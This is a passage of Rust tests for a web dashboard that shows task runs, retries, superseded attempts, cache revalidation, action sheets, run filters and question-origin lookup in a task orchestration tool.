25063 let v = serde_json::to_value(TaskView::from(t)).expect("json");
25064 assert_eq!(v["urgent"], true, "{v}");
25065 assert!(APP_JS.contains("task.urgent === true"));
25066 }
25067
25068 #[tokio::test]
25069 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
25070 let fx = Fixture::start().await;
25071 let runs = fx.runs();
25072 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25073 write_run(&runs, old, RunStatus::Blocked);
25074 write_run(&runs, new, RunStatus::Merged);
25075 let mut t = outcome_task(&[old, new], TaskStatus::Done);
25076 fx.queue().put(&mut t).expect("put");
25077
25078 let view = fx.get(&format!("/api/runs/{old}")).await.json();
25079 let task = &view["task"];
25080 assert_eq!(task["status"], "done");
25081 assert_eq!(task["is_latest"], false);
25082 assert_eq!(task["latest"]["short"], "bbbb");
25083 assert_eq!(task["finished_by"]["id"], new);
25084 assert_eq!(task["finished_by"]["outcome"], "merged");
25085 assert_eq!(task["closed_by_hand"], false);
25086 assert_eq!(view["status"], "blocked", "the run keeps its own status");
25087 assert!(APP_JS.contains("finished_by"));
25088 assert!(APP_JS.contains("superseded by run"));
25089 }
25090
25091 #[tokio::test]
25092 async fn the_latest_run_reports_a_held_task_without_a_successor() {
25093 let fx = Fixture::start().await;
25094 let runs = fx.runs();
25095 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25096 write_run(&runs, old, RunStatus::Stalled);
25097 write_run(&runs, new, RunStatus::Blocked);
25098 let mut t = outcome_task(&[old, new], TaskStatus::Held);
25099 fx.queue().put(&mut t).expect("put");
25100
25101 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
25102 assert_eq!(task["status"], "held");
25103 assert_eq!(task["is_latest"], true);
25104 assert!(task["latest"].is_null());
25105 assert!(task["finished_by"].is_null());
25106 assert_eq!(task["closed_by_hand"], false);
25107 }
25108
25109 #[tokio::test]
25110 async fn a_direct_run_has_no_task_outcome() {
25111 let fx = Fixture::start().await;
25112 let runs = fx.runs();
25113 let id = "20260901-000000-aaaa";
25114 write_run(&runs, id, RunStatus::Blocked);
25115 let view = fx.get(&format!("/api/runs/{id}")).await.json();
25116 assert!(view["task"].is_null());
25117 }
25118
25119 #[test]
25120 fn task_outcome_does_not_guess_a_finishing_run() {
25121 let a = "20260901-000000-aaaa";
25122 let b = "20260901-000000-bbbb";
25123 let c = "20260901-000000-cccc";
25124 let dir = tempfile::tempdir().expect("tempdir");
25125 write_run(dir.path(), a, RunStatus::Blocked);
25126 write_run(dir.path(), b, RunStatus::VerifiedNoop);
25127 let read = |id: &str| read_run(dir.path(), id).ok();
25129 let t = outcome_task(&[a, b, c], TaskStatus::Done);
25132 let out = task_outcome(&t, a, 3, read);
25133 assert!(out.finished_by.is_none());
25134 assert!(out.closed_by_hand);
25135 let latest = out.latest.expect("latest");
25136 assert_eq!(latest.id, c);
25137 assert_eq!(latest.status, None);
25138 assert_eq!(latest.outcome, "record unreadable");
25139
25140 write_run(dir.path(), c, RunStatus::Ready);
25142 let t = outcome_task(&[a, c], TaskStatus::Done);
25143 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
25144 assert_eq!(out.finished_by.expect("finisher").id, c);
25145 assert!(!out.closed_by_hand);
25146
25147 let t = outcome_task(&[a, b, a], TaskStatus::Held);
25149 assert!(task_outcome(&t, a, 3, read).is_latest);
25150 }
25151
25152 #[tokio::test]
25153 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
25154 let fx = Fixture::start().await;
25159 let q = fx.queue();
25160 let runs = fx.runs();
25161 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
25162 write_run(&runs, first, RunStatus::Blocked);
25163 write_run(&runs, second, RunStatus::Merged);
25164
25165 let mut t = Task::new(
25166 "one task".to_owned(),
25167 "do it".to_owned(),
25168 PathBuf::from("/repo"),
25169 Source::Human,
25170 );
25171 t.runs = vec![first.to_owned(), second.to_owned()];
25172 q.put(&mut t).expect("put");
25173
25174 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
25175 assert_eq!(earlier["superseded_by"], "dddd");
25176 assert_eq!(earlier["latest_attempt"]["id"], second);
25177 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
25178 assert_eq!(
25179 earlier["latest_attempt"]["resolved"], true,
25180 "the run that replaced it landed, so this one reads as settled"
25181 );
25182
25183 let later = fx.get(&format!("/api/runs/{second}")).await.json();
25184 assert!(
25185 later["superseded_by"].is_null(),
25186 "the latest attempt is not superseded by anything"
25187 );
25188 assert!(
25189 later["latest_attempt"].is_null(),
25190 "the latest attempt has no later attempt of its own"
25191 );
25192
25193 assert!(APP_JS.contains("run.latest_attempt"));
25200 assert!(APP_JS.contains("data-superseded"));
25201 assert!(APP_JS.contains("#/runs/${latest.id}"));
25202 }
25203
25204 #[tokio::test]
25205 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
25206 let fx = Fixture::start().await;
25212 let q = fx.queue();
25213 let runs = fx.runs();
25214 let (a, b, c) = (
25215 "20260901-000000-aaaa",
25216 "20260901-000000-bbbb",
25217 "20260901-000000-cccc",
25218 );
25219 write_run(&runs, a, RunStatus::Blocked);
25220 write_run(&runs, b, RunStatus::Blocked);
25221 write_run(&runs, c, RunStatus::Merged);
25222
25223 let mut t = Task::new(
25224 "retried twice".to_owned(),
25225 "do it".to_owned(),
25226 PathBuf::from("/repo"),
25227 Source::Human,
25228 );
25229 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
25230 q.put(&mut t).expect("put");
25231
25232 let view = fx.get(&format!("/api/runs/{a}")).await.json();
25233 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
25234 assert_eq!(
25235 view["latest_attempt"]["id"], c,
25236 "the chain's current head, not the intermediate Blocked retry"
25237 );
25238 assert_eq!(view["latest_attempt"]["resolved"], true);
25239
25240 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
25241 assert_eq!(mid["latest_attempt"]["id"], c);
25242 assert_eq!(mid["latest_attempt"]["resolved"], true);
25243 }
25244
25245 #[tokio::test]
25246 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
25247 let fx = Fixture::start().await;
25248 let q = fx.queue();
25249 let runs = fx.runs();
25250
25251 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
25254 write_run(&runs, still_blocked_a, RunStatus::Blocked);
25255 write_run(&runs, still_blocked_b, RunStatus::Blocked);
25256 let mut t1 = Task::new(
25257 "still stuck".to_owned(),
25258 "do it".to_owned(),
25259 PathBuf::from("/repo"),
25260 Source::Human,
25261 );
25262 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
25263 q.put(&mut t1).expect("put");
25264 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
25265 assert_eq!(view1["latest_attempt"]["resolved"], false);
25266 assert_eq!(view1["latest_attempt"]["status"], "blocked");
25267 assert_eq!(view1["latest_attempt"]["done"], true);
25268
25269 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
25271 write_run(&runs, run_a, RunStatus::Blocked);
25272 write_run(&runs, run_b, RunStatus::Implementing);
25273 let mut t3 = Task::new(
25274 "retrying".to_owned(),
25275 "do it".to_owned(),
25276 PathBuf::from("/repo"),
25277 Source::Human,
25278 );
25279 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
25280 q.put(&mut t3).expect("put");
25281 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
25282 assert_eq!(view3["latest_attempt"]["id"], run_b);
25283 assert_eq!(view3["latest_attempt"]["resolved"], false);
25284 assert_eq!(view3["latest_attempt"]["done"], false);
25285
25286 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
25291 write_run(&runs, noop_a, RunStatus::Blocked);
25292 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
25293 let mut t2 = Task::new(
25294 "claims done".to_owned(),
25295 "do it".to_owned(),
25296 PathBuf::from("/repo"),
25297 Source::Human,
25298 );
25299 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
25300 q.put(&mut t2).expect("put");
25301 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
25302 assert_eq!(
25303 view2["latest_attempt"]["resolved"], false,
25304 "an unverified no-op claim must not read as a confirmed finish"
25305 );
25306
25307 assert!(APP_JS.contains("latest.resolved"));
25310 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
25313 assert!(APP_JS.contains("Latest attempt: "));
25314 assert!(APP_JS.contains("in flight"));
25315 assert!(APP_JS.contains("not resolved"));
25316 }
25317
25318 #[tokio::test]
25319 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
25320 let fx = Fixture::start().await;
25321 let js = fx.get("/app.js").await;
25327 assert_eq!(js.status, 200);
25328 let tag = js
25329 .header("etag")
25330 .expect("an etag to revalidate against")
25331 .to_owned();
25332 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
25333 assert_eq!(
25334 js.header("cache-control"),
25335 Some("no-cache, must-revalidate"),
25336 "the phone has to ask every time"
25337 );
25338
25339 let again = fx
25342 .get_with("/app.js", &[("if-none-match", tag.as_str())])
25343 .await;
25344 assert_eq!(
25345 again.status, 304,
25346 "a deck it already has costs one round trip"
25347 );
25348 assert!(again.body.is_empty(), "304 carries no body");
25349
25350 let weak = fx
25353 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
25354 .await;
25355 assert_eq!(weak.status, 304);
25356 let stale = fx
25357 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
25358 .await;
25359 assert_eq!(stale.status, 200, "an older build must be replaced");
25360 assert!(stale.body.contains("renderRunActions"));
25361 }
25362
25363 #[test]
25364 fn the_task_detail_has_an_actions_fab_and_sheet() {
25365 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
25366 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
25367 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
25368 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
25370 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
25371 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
25373 assert!(APP_JS.contains("renderTaskActions(null);"));
25374 let (_, sheet) = APP_JS
25377 .split_once("function renderTaskActions(task) {")
25378 .expect("sheet renderer");
25379 let (body, _) = sheet
25380 .split_once("\nfunction openTaskActions() {")
25381 .expect("end of sheet renderer");
25382 assert!(body.contains("changePriority("));
25383 assert!(body.contains("openTaskEdit(task)"));
25384 assert!(body.contains("renderTaskHoldBox(host"));
25385 assert!(body.contains("renderTaskDoneBox(host"));
25386 assert!(body.contains("renderTaskDeleteBox(host"));
25387 assert!(APP_JS.contains("API.priority(id)"));
25388 assert!(APP_JS.contains("API.deleteTask(id)"));
25389 assert!(APP_JS.contains("location.hash = \"#/queue\""));
25391 assert!(APP_JS.contains("$(\"task-actions-error\")"));
25393 }
25394
25395 #[test]
25396 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
25397 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
25398 let actions = INDEX_HTML
25399 .find("id=\"run-actions-box\"")
25400 .expect("actions box");
25401 assert!(task < actions, "the task entry comes first in the sheet");
25402 assert!(APP_JS.contains("renderRunTaskEntry"));
25403 assert!(APP_JS.contains("\"Open task \""));
25404 assert!(APP_JS.contains("started directly, no task"));
25406 assert!(APP_JS.contains("sheet-task-link"));
25407 assert!(APP_JS.contains("task-chip-link"));
25408 }
25409
25410 #[test]
25411 fn the_deck_never_sends_the_operator_to_a_terminal() {
25412 assert!(
25415 !APP_JS.contains("Run `magi fold` first"),
25416 "the deck must offer the fold, not prescribe a shell command"
25417 );
25418 assert!(APP_JS.contains("foldRun:"));
25419 assert!(APP_JS.contains("resumeRun:"));
25420 assert!(APP_JS.contains("renderRunActions"));
25421
25422 assert!(APP_JS.contains("armedFold"));
25424 assert!(APP_JS.contains("Yes, fold worktrees"));
25425
25426 assert!(APP_JS.contains("can no longer be resumed"));
25429 }
25430
25431 #[test]
25432 fn a_finished_run_explains_itself_with_its_own_last_line() {
25433 assert!(
25439 !APP_JS.contains("collapsed on agent quota"),
25440 "a stall must not be explained by a cause the deck did not check"
25441 );
25442 assert!(
25443 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
25444 "and a block must not offer a guess with an `or` in it"
25445 );
25446
25447 assert!(
25451 APP_JS.contains("setText(r.event, run.event || \"\")"),
25452 "the run's last line is rendered unconditionally"
25453 );
25454 assert!(
25455 !APP_JS.contains("moving && run.event"),
25456 "and never gated on the run still moving"
25457 );
25458
25459 assert!(APP_JS.contains("lost to quota"));
25461 }
25462
25463 #[test]
25485 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
25486 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
25487 let shapes_body_start =
25488 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
25489 let shapes_close = APP_JS[shapes_body_start..]
25490 .find("].map(")
25491 .expect("the shape list is closed by its done-computing .map(...)")
25492 + shapes_body_start;
25493 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
25494
25495 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
25496 for entry in shapes_src.split('{').skip(1) {
25497 let waiting = entry.contains("waiting: true");
25498 let dead = entry.contains("live: \"dead\"");
25499 let status_at =
25500 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
25501 let status_end = entry[status_at..]
25502 .find('"')
25503 .expect("the status string is closed")
25504 + status_at;
25505 let parked = entry.contains("display_status: \"parked\"");
25506 shapes.push((
25507 waiting,
25508 entry[status_at..status_end].to_string(),
25509 dead,
25510 parked,
25511 ));
25512 }
25513 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
25514
25515 let done_rule_marker = "done: !";
25519 let done_rule_at = APP_JS[shapes_close..]
25520 .find(done_rule_marker)
25521 .expect("the done rule follows the shape list")
25522 + shapes_close
25523 + done_rule_marker.len();
25524 let includes_at = APP_JS[done_rule_at..]
25525 .find(".includes(shape.status)")
25526 .expect("the done rule ends in .includes(shape.status)")
25527 + done_rule_at;
25528 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
25529 .trim()
25530 .trim_start_matches('[')
25531 .trim_end_matches(']')
25532 .split(',')
25533 .map(|s| s.trim().trim_matches('"'))
25534 .filter(|s| !s.is_empty())
25535 .collect();
25536
25537 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
25538 .into_iter()
25539 .map(|(waiting, status, dead, parked)| {
25540 let done = !not_done.contains(&status.as_str());
25541 (waiting, status, dead, parked, done)
25542 })
25543 .collect();
25544
25545 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
25549 if waiting {
25550 return "waiting";
25551 }
25552 if dead
25553 && !parked
25554 && !matches!(
25555 status,
25556 "merged"
25557 | "ready"
25558 | "stalled"
25559 | "blocked"
25560 | "failed"
25561 | "verified_noop"
25562 | "superseded"
25563 | "already_in_base"
25564 )
25565 {
25566 return "stale";
25567 }
25568 match status {
25569 "merged" | "ready" => "landed",
25570 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
25571 | "already_in_base" => "ended",
25572 _ => "flight",
25573 }
25574 }
25575
25576 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
25579 match filter_key {
25580 "active" => !done,
25581 "flight" => !done && !waiting && !dead,
25582 "stale" => !done && !waiting && dead,
25583 "waiting" => waiting,
25584 "done" => done,
25585 "all" => true,
25586 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
25587 }
25588 }
25589
25590 let compatible = |section: &str, filter_key: &str| {
25591 shapes.iter().any(|(waiting, status, dead, parked, done)| {
25592 run_section(*waiting, status, *dead, *parked) == section
25593 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
25594 })
25595 };
25596
25597 let expected = [
25602 ("waiting", [true, false, false, true, true, true]),
25603 ("stale", [true, false, true, false, false, true]),
25604 ("flight", [true, true, false, false, false, true]),
25605 ("landed", [false, false, false, false, true, true]),
25606 ("ended", [false, false, false, false, true, true]),
25607 ];
25608 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
25609
25610 for (section, wants) in expected {
25611 for (filter_key, want) in filter_keys.iter().zip(wants) {
25612 assert_eq!(
25613 compatible(section, filter_key),
25614 want,
25615 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
25616 );
25617 }
25618 }
25619
25620 assert!(
25623 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
25624 );
25625 assert!(APP_JS.contains(
25626 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
25627 ));
25628 assert!(APP_JS.contains(
25629 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
25630 ));
25631 }
25632
25633 #[tokio::test]
25634 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
25635 let dir = tempfile::tempdir().expect("tempdir");
25639 let explicit = dir.path().join("not-a-checkout");
25640 std::fs::create_dir_all(&explicit).expect("create dir");
25641 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
25642
25643 let missing = dir.path().join("does-not-exist-at-all");
25644 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
25645 }
25646
25647 #[test]
25648 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
25649 assert!(APP_JS.contains("function statsDonutArcs"));
25650 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
25651 assert!(APP_JS.contains("function statusInBucket"));
25653 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
25654 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
25655 let buckets = [
25656 "merged",
25657 "ready",
25658 "in_progress",
25659 "blocked",
25660 "failed",
25661 "verified_noop",
25662 "superseded",
25663 "stalled",
25664 ];
25665 for key in buckets {
25666 let var = format!("--verdict-{key}:");
25667 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
25669 assert!(
25670 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
25671 "{key}"
25672 );
25673 }
25674 }
25675
25676 #[tokio::test]
25677 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
25678 let dir = tempfile::tempdir().expect("tempdir");
25679 let queue = Queue::at(dir.path().join("queue"));
25680 let talks = Talks::at(dir.path().join("talks"));
25681 std::fs::create_dir_all(queue.root()).unwrap();
25682 std::fs::create_dir_all(talks.root()).unwrap();
25683
25684 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
25686 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
25687
25688 let mut task = Task::new(
25690 "title".into(),
25691 "inst".into(),
25692 PathBuf::from("/repo"),
25693 Source::Human,
25694 );
25695 task.id = "20261019-123456-abcd".into();
25696 std::fs::write(
25698 queue.path_of(&task.id),
25699 serde_json::to_string(&task).unwrap(),
25700 )
25701 .unwrap();
25702
25703 let talk_id = "20261019-234567-cdef";
25704 seed_talk_at(&talks, talk_id, "open");
25705
25706 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
25708 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
25709
25710 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
25712 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
25713 }
25714
25715 #[tokio::test]
25716 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
25717 let home = tempfile::tempdir().unwrap();
25718 let ui = delta_test_ui(home.path());
25719 std::fs::write(ui.queue.root(), "not a directory").unwrap();
25721 std::fs::write(ui.talks.root(), "not a directory").unwrap();
25722 assert!(
25723 questions_list(State(ui.clone()))
25724 .await
25725 .unwrap()
25726 .0
25727 .is_empty()
25728 );
25729 assert!(
25730 question_origins(State(ui.clone()))
25731 .await
25732 .unwrap()
25733 .0
25734 .is_empty()
25735 );
25736 let mut question = Question::new(
25737 "run-history".into(),
25738 "review".into(),
25739 "seat".into(),
25740 "Useful question".into(),
25741 "Useful detail".into(),
25742 vec![],
25743 );
25744 ui.questions.put(&mut question).unwrap();
25745 let core = questions_core(State(ui.clone())).await.unwrap().0;
25746 assert_eq!(core.len(), 1);
25747 assert_eq!(core[0].question.summary, "Useful question");
25748 assert!(!core[0].can_consult_chat);
25749 assert!(core[0].origin_chat.is_none());
25750 assert_eq!(core[0].record_revision, question_record_revision(&question));
25751 assert!(question_origins(State(ui.clone())).await.is_err());
25752 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
25753 }
25754
25755 #[tokio::test]
25756 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
25757 let home = tempfile::tempdir().unwrap();
25758 let ui = delta_test_ui(home.path());
25759 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
25760 let mut parent = Task::new(
25761 "parent".into(),
25762 "body".into(),
25763 PathBuf::from("/repo"),
25764 Source::Agent {
25765 run: chat.clone(),
25766 node: crate::queue::CHAT_NODE.into(),
25767 },
25768 );
25769 parent.id = "parent-task".into();
25770 parent.runs = vec!["parent-run".into()];
25771 ui.queue.put(&mut parent).unwrap();
25772 let mut previous = parent;
25773 for generation in 1..=2 {
25774 let mut child = Task::new(
25775 "child".into(),
25776 "body".into(),
25777 PathBuf::from("/repo"),
25778 Source::Human,
25779 );
25780 child.id = format!("child-task-{generation}");
25781 child.runs = vec![format!("child-run-{generation}")];
25782 child.followup = Some(crate::queue::FollowUp {
25783 origin_task: Some(previous.id.clone()),
25784 run: previous.runs[0].clone(),
25785 pr: String::new(),
25786 findings: vec![],
25787 generation,
25788 });
25789 ui.queue.put(&mut child).unwrap();
25790 previous = child;
25791 }
25792 let mut collision = Task::new(
25795 "collision".into(),
25796 String::new(),
25797 PathBuf::from("/repo"),
25798 Source::Human,
25799 );
25800 collision.id = "collision-task".into();
25801 collision.runs = vec![previous.id.clone()];
25802 ui.queue.put(&mut collision).unwrap();
25803 let mut questions = Vec::new();
25804 for (node, reference, expected, eligible) in [
25805 (crate::triage::NODE, previous.id.as_str(), true, false),
25806 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
25807 ("review", previous.runs[0].as_str(), true, true),
25808 (
25809 crate::bump::NOTICE_NODE,
25810 previous.runs[0].as_str(),
25811 true,
25812 false,
25813 ),
25814 ("review", previous.id.as_str(), false, false),
25816 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
25817 ("review", "unrelated", false, false),
25818 ] {
25819 let mut q = Question::new(
25820 reference.into(),
25821 node.into(),
25822 "seat".into(),
25823 "Question".into(),
25824 String::new(),
25825 vec![],
25826 );
25827 ui.questions.put(&mut q).unwrap();
25828 questions.push((q, expected, eligible));
25829 }
25830 for (node, reference, associated, eligible) in [
25831 (crate::reconcile::NODE, previous.id.as_str(), true, false),
25832 (
25833 crate::reconcile::NODE,
25834 previous.runs[0].as_str(),
25835 false,
25836 true,
25837 ),
25838 ("implement", previous.id.as_str(), false, false),
25839 ] {
25840 let mut q = Question::new(
25841 reference.into(),
25842 node.into(),
25843 crate::reconcile::SEAT.into(),
25844 "Reconcile".into(),
25845 String::new(),
25846 vec![],
25847 );
25848 ui.questions.put(&mut q).unwrap();
25849 questions.push((q, associated, eligible));
25850 }
25851 let mut release = Question::new(
25852 "release-record".into(),
25853 crate::bump::NOTICE_NODE.into(),
25854 "release-watch".into(),
25855 "Release".into(),
25856 String::new(),
25857 vec![],
25858 );
25859 ui.questions.put(&mut release).unwrap();
25860 let watch = crate::release_watch::WatchState {
25861 question: Some(release.id.clone()),
25862 run: Some(previous.runs[0].clone()),
25863 held_task: Some(previous.id.clone()),
25864 ..Default::default()
25865 };
25866 let watch_dir = home.path().join("release-watch");
25867 std::fs::create_dir_all(&watch_dir).unwrap();
25868 let watch_path = watch_dir.join("watch.json");
25869 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25870 for batch in [
25872 Vec::new(),
25873 questions.iter().map(|(q, _, _)| q.clone()).collect(),
25874 ] {
25875 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
25876 assert!(watches.is_empty());
25877 }
25878 questions.push((release.clone(), true, false));
25879
25880 let views = questions_list(State(ui.clone())).await.unwrap().0;
25881 let origins = question_origins(State(ui.clone())).await.unwrap().0;
25882 for (q, associated, eligible) in &questions {
25883 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
25884 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
25885 let expected = associated.then_some(chat.as_str());
25886 assert_eq!(
25887 view.origin_chat.as_deref(),
25888 expected,
25889 "{} {}",
25890 q.node,
25891 q.run
25892 );
25893 assert_eq!(origin.origin_chat.as_deref(), expected);
25894 assert_eq!(view.origin_chat_closed, *associated);
25895 assert_eq!(origin.origin_chat_closed, *associated);
25896 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
25897 assert_eq!(origin.can_consult_chat, *eligible);
25898 }
25899 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
25901 let link = crate::release_watch::WatchState {
25902 run,
25903 held_task,
25904 ..watch.clone()
25905 };
25906 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
25907 let (tasks, talks, watches) =
25908 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25909 assert_eq!(
25910 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25911 .unwrap()
25912 .id,
25913 chat,
25914 );
25915 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
25916 }
25917 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25918 let duplicate_path = watch_dir.join("duplicate.json");
25920 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25921 let (tasks, talks, watches) =
25922 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25923 assert!(
25924 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25925 .is_none()
25926 );
25927 std::fs::remove_file(duplicate_path).unwrap();
25928 let mut unrelated = Task::new(
25930 "other".into(),
25931 String::new(),
25932 PathBuf::from("/repo"),
25933 Source::Human,
25934 );
25935 unrelated.id = "unrelated-task".into();
25936 ui.queue.put(&mut unrelated).unwrap();
25937 let mut conflicting = watch.clone();
25938 conflicting.held_task = Some(unrelated.id);
25939 std::fs::write(
25940 watch_dir.join("conflict.json"),
25941 serde_json::to_vec(&conflicting).unwrap(),
25942 )
25943 .unwrap();
25944 let (tasks, talks, watches) =
25945 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25946 assert!(
25947 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25948 .is_none()
25949 );
25950 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
25951 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
25952 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
25953 assert!(origin.origin_chat.is_none());
25954 assert!(!origin.origin_chat_closed);
25955 }
25956 }
25957
25958 #[test]
25959 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
25960 let home = tempfile::tempdir().unwrap();
25961 let ui = delta_test_ui(home.path());
25962 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
25963 for i in 0..1000 {
25964 let mut task = Task::new(
25965 "unrelated".into(),
25966 "instruction ".repeat(256),
25967 PathBuf::from("/repo"),
25968 Source::Human,
25969 );
25970 task.id = format!("history-{i:04}");
25971 ui.queue.put(&mut task).unwrap();
25972 let id = seed_talk_at(&ui.talks, &task.id, "open");
25973 let mut talk = ui.talks.get(&id).unwrap();
25974 talk.pending = "history ".repeat(256);
25975 ui.talks.put(&mut talk).unwrap();
25976 }
25977 let mut parent = Task::new(
25978 "parent".into(),
25979 "body".into(),
25980 PathBuf::from("/repo"),
25981 Source::Agent {
25982 run: chat_id.clone(),
25983 node: crate::queue::CHAT_NODE.into(),
25984 },
25985 );
25986 parent.id = "task-parent".into();
25987 parent.runs = vec!["run-parent".into()];
25988 ui.queue.put(&mut parent).unwrap();
25989 let mut child = Task::new(
25990 "child".into(),
25991 "body".into(),
25992 PathBuf::from("/repo"),
25993 Source::Human,
25994 );
25995 child.id = "task-child".into();
25996 child.runs = vec!["run-child".into()];
25997 child.followup = Some(crate::queue::FollowUp {
25998 run: "run-parent".into(),
25999 origin_task: Some(parent.id.clone()),
26000 pr: "https://example.invalid/pr/1".into(),
26001 findings: vec![],
26002 generation: 1,
26003 });
26004 ui.queue.put(&mut child).unwrap();
26005 let mut question = Question::new(
26006 child.id.clone(),
26007 crate::conduct::NODE.into(),
26008 "seat".into(),
26009 "Continue?".into(),
26010 String::new(),
26011 vec![],
26012 );
26013 let (tasks, talks, _watches) =
26014 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26015 assert_eq!(tasks.len(), 2);
26016 assert_eq!(talks.len(), 1);
26017 assert_eq!(
26018 ui.monitor.queue_index.lock().unwrap().reparsed,
26019 0,
26020 "exact ancestry bypasses the index"
26021 );
26022 assert_eq!(
26023 crate::consult::origin_talk(&tasks, &talks, &question)
26024 .unwrap()
26025 .id,
26026 chat_id
26027 );
26028 question.run = "run-child".into();
26029 question.node = "review".into();
26030 for origin_task in [Some(parent.id.clone()), None] {
26031 child.followup.as_mut().unwrap().origin_task = origin_task;
26032 ui.queue.put(&mut child).unwrap();
26033 let (tasks, talks, _watches) =
26034 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26035 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
